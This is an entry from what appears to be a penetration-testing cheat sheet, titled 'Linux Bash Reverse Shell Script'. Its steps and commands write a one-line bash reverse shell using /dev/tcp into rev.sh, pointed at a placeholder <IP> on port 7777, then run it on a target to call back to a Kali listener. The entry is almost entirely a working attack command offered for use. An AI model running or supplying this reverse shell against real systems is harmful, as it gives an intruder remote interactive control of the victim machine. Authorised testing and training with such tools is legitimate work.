← Back to search

Linux Bash Reverse Shell Script

exploitationlinuxtool

Summary

Write a small bash reverse-shell script that calls back to a listener, then execute it on the target.

Walkthrough

Drop a one-line bash reverse-shell into a script and run it to call back to your listener.

Steps

  1. Use a heredoc to write rev.sh containing a /dev/tcp bash reverse shell pointed at <IP>:7777.
  2. Start a listener on Kali, then run bash rev.sh on the target to receive the connection.

Commands

bash

cat <<EOF > rev.sh
#!/bin/bash
bash -i >& /dev/tcp/<IP>/7777 0>&1
EOF

bash

bash rev.sh